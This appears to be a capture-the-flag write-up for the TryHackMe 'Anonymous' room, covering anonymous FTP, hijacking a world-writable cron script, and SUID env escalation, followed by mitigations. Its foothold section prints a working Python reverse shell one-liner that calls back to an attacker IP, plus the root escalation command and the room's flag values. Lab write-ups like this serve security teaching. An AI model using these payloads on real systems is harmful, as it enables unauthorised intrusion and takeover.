Anonymous — TryHackMe

Platform: TryHackMe · Difficulty: Easy · Category: FTP Write Access / Scheduled Task Hijack / SUID Abuse

Introduction

Anonymous is a box that puts its own postmortem in writing before the engagement even starts. Sitting right there in the FTP share is to_do.txt — the sysadmin's own unaddressed risk assessment, admitting in plain English that anonymous FTP login is dangerous and needs disabling. It never got disabled. Pair that with a world-writable scripts/ directory holding a script that runs on a schedule, and you've got a textbook "writable file in a privileged execution chain" vulnerability — similar in spirit to other boxes with cron-driven footholds, except here the scheduling mechanism doesn't even need to be inferred, since the log file is visibly growing in real time between FTP checks.

Recon

rustscan -a 10.48.171.146 -r 1-65535 --ulimit 5000 -b 500 -t 2000 -- -Pn -sV -sC -T4

Port	Service	Version
21/tcp	FTP	vsftpd 3.0.3 — anonymous allowed; scripts/ flagged writable by Nmap
22/tcp	SSH	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
139/tcp, 445/tcp	SMB	Samba smbd 4.7.6-Ubuntu

Nmap's ftp-anon script doesn't just confirm anonymous access, it specifically flags the scripts subdirectory as [NSE: writeable]. That one detail defines the entire attack path before a single manual command gets run.

The FTP banner has a nice touch too — "NamelessOne's FTP Server!" — directly naming the box's eventual user account before any enumeration even starts.

ftp 10.48.171.146
# Name: anonymous
ftp> cd scripts
ftp> ls

-rwxr-xrwx  clean.sh
-rw-rw-r--  removed_files.log
-rw-r--r--  to_do.txt

Downloading all three:

ftp> get clean.sh
ftp> get removed_files.log
ftp> get to_do.txt

clean.sh contents:

#!/bin/bash
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
    echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log
    done
fi

A cleanup script meant to delete temp files and log the activity — currently a no-op since tmp_files is hardcoded to 0. The interesting part isn't the script's logic, it's that removed_files.log already has over twenty identical "nothing to delete" entries. That's direct proof this script runs automatically and repeatedly, almost certainly via cron.

to_do.txt contents:

I really need to disable the anonymous login...it's really not safe

The sysadmin's own words, confirming the exact vulnerability about to be exploited.

Foothold

clean.sh is owned by a local user (uid 1000) but has world-write permission (-rwxr-xrwx), and it's confirmed to execute repeatedly via the growing log. Since the script lives in an anonymously-writable FTP directory, overwriting its contents with arbitrary shell or Python code means that code runs under the script owner's account the next time the scheduler fires it. No exploit needed beyond an FTP PUT.

Replacing the script body with a Python reverse shell one-liner:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.134.217",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Re-uploading the modified script via FTP, setting up the listener, and waiting for the next scheduled run:

nc -nvlp 4444

connect to [192.168.134.217] from (UNKNOWN) [10.48.171.146] 36554

Stabilising:

python -c 'import pty; pty.spawn("/bin/bash")'

namelessone@anonymous:~$ cat user.txt
90d6f992585815ff991e68748c414740

Shell / Access

Landed directly as namelessone — the named user the FTP banner had all but introduced by name. No intermediate www-data hop needed, since the script executes under this user's own account via cron.

Escalation

find / -perm -u=s -type f 2>/dev/null

/usr/bin/env

Among the standard system SUID binaries, /usr/bin/env stands out immediately. env is designed to run a program in a modified environment, but it executes that program directly, inheriting whatever privileges the env binary itself has. With the SUID bit set, env runs with the file owner's privileges — root — and anything it launches inherits that same elevated level.

/usr/bin/env /bin/sh -p

# id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=...,27(sudo),...
# cat /root/root.txt
4d930091c31a622a7ed10f27999af363

One command to root.

Exploitation — The Full Chain

1. Anonymous FTP with a writable scripts/ directory and a script confirmed to run on a schedule
2. Overwrote clean.sh with a Python reverse shell payload via FTP
3. Waited for the scheduled execution → shell as namelessone → user flag
4. SUID env → env /bin/sh -p → root shell → root flag

Rabbit Holes

SMB enumeration for the quiz, not the exploit. The room's accompanying questions required identifying the SMB share name, which turned out to be a step entirely separate from the actual exploitation chain. A null-session smbclient -L against the host:

smbclient -L //10.48.171.146/ -N

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
pics            Disk      My SMB Share Directory for Pics
IPC$            IPC       IPC Service

The pics share matches a pics directory later seen in namelessone's home directory, confirming SMB and the local filesystem share the same content — though this connection wasn't load-bearing for the actual privilege escalation path at all.

Flags

Flag	Value	Location
User	90d6f992585815ff991e68748c414740	/home/namelessone/user.txt
Root	4d930091c31a622a7ed10f27999af363	/root/root.txt

Mitigations

Vulnerability	Severity	Mitigation
Anonymous FTP login enabled	Critical	Disable anonymous FTP entirely — the box's own to_do.txt correctly identifies this as the root issue
World-writable script in a scheduled execution chain	Critical	Scripts executed by cron or any scheduler must be owned by root (or the minimum necessary user) with no group/world write access (chmod 700)
SUID bit set on /usr/bin/env	Critical	Remove the SUID bit from env — it has no legitimate administrative need for it; cross-reference all SUID binaries against GTFOBins
SMB shares accessible via null session	Medium	Restrict guest/anonymous SMB access; require authentication for all shares

Key Takeaway

A growing log file with repeated identical entries is direct evidence of a scheduled task, and a writable script anywhere in that execution chain is a privilege escalation path, regardless of whether sudo -l or SUID enumeration turns up anything interesting on its own. Always check what owns and triggers a script before assuming a quiet sudo -l means there's no path forward.

---

Room: TryHackMe — Anonymous